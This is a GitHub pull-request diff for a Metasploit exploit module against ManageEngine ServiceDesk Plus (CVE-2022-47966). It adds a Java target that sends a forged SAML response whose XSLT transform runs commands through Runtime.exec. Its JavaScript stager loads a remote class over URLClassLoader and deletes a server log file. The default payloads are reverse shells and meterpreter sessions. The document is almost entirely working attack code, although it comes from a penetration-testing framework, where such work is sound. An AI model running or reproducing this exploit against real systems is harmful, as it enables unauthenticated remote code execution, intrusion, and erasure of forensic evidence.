Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add java target for ManageEngine ServiceDesk Plus CVE-2022-47966 #18515

Merged
merged 5 commits into from
Jan 4, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
Expand Down Expand Up @@ -37,18 +38,25 @@ def initialize(info = {})
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win', 'unix', 'linux'],
'Payload' => {
'BadChars' => "\x27"
},
'Platform' => ['win', 'unix', 'linux', 'java'],
'Targets' => [
[
'Java (in-memory)',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'Payload' => 'java/shell_reverse_tcp' }
},
],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
'Payload' => { 'BadChars' => "\x27" }
}
],
[
Expand All @@ -57,7 +65,8 @@ def initialize(info = {})
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Payload' => { 'BadChars' => "\x27" }
}
],
[
Expand All @@ -66,7 +75,8 @@ def initialize(info = {})
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' },
'Payload' => { 'BadChars' => "\x27" }
}
],
[
Expand All @@ -76,14 +86,15 @@ def initialize(info = {})
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget echo lwprequest]
'CmdStagerFlavor' => %w[curl wget echo lwprequest],
'Payload' => { 'BadChars' => "\x27" }
}
]
],
'DefaultOptions' => {
'RPORT' => 8080
},
'DefaultTarget' => 1,
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
Expand Down Expand Up @@ -137,13 +148,56 @@ def encode_begin(real_payload, reqs)

def exploit
case target['Type']
when :java
# Start the HTTP server to serve the payload
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload
handler
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager(delay: datastore['DELAY'])
end
end

def trigger_urlclassloader
# Here we construct a XSLT transform to load a Java payload via URLClassLoader.
url = get_uri

vars = Rex::RandomIdentifier::Generator.new

# stager for javascript engine
java_stager = <<~EOS
var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
var c = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
c.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
EOS

transform = <<~EOT
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="engineobject" select="sem:new()"/>
<xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'javascript')"/>
<xsl:variable name="out" select="se:eval($jsobject,'#{java_stager}')"/>
<xsl:value-of select="$out"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
EOT
send_transform(transform)
end

def execute_command(cmd, _opts = {})
case target['Type']
when :windows_dropper
Expand All @@ -154,14 +208,31 @@ def execute_command(cmd, _opts = {})
end
cmd = cmd.encode(xml: :attr).gsub('"', '')

vars = Rex::RandomIdentifier::Generator.new

transform = <<~EOT
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
<xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
<xsl:value-of select="$#{vars[:out]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
EOT

send_transform(transform)
end

def send_transform(transform)
assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
Expand All @@ -179,21 +250,7 @@ def execute_command(cmd, _opts = {})
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
#{transform}
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
Expand All @@ -213,7 +270,10 @@ def execute_command(cmd, _opts = {})
}
})

unless res&.code == 500
# Java payload returns a nil response on successful execution of payload
if target['Type'] == :java && res.nil?
print_status('Exploit completed.')
elsif res&.code != 500
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
Expand All @@ -225,4 +285,16 @@ def execute_command(cmd, _opts = {})
res
end

def on_request_uri(cli, request)
case target['Type']
when :java
super(cli, request)
else
client = cli.peerhost
print_status("Client #{client} requested #{request.uri}")
print_status("Sending payload to #{client}")
send_response(cli, exe)
end
end

end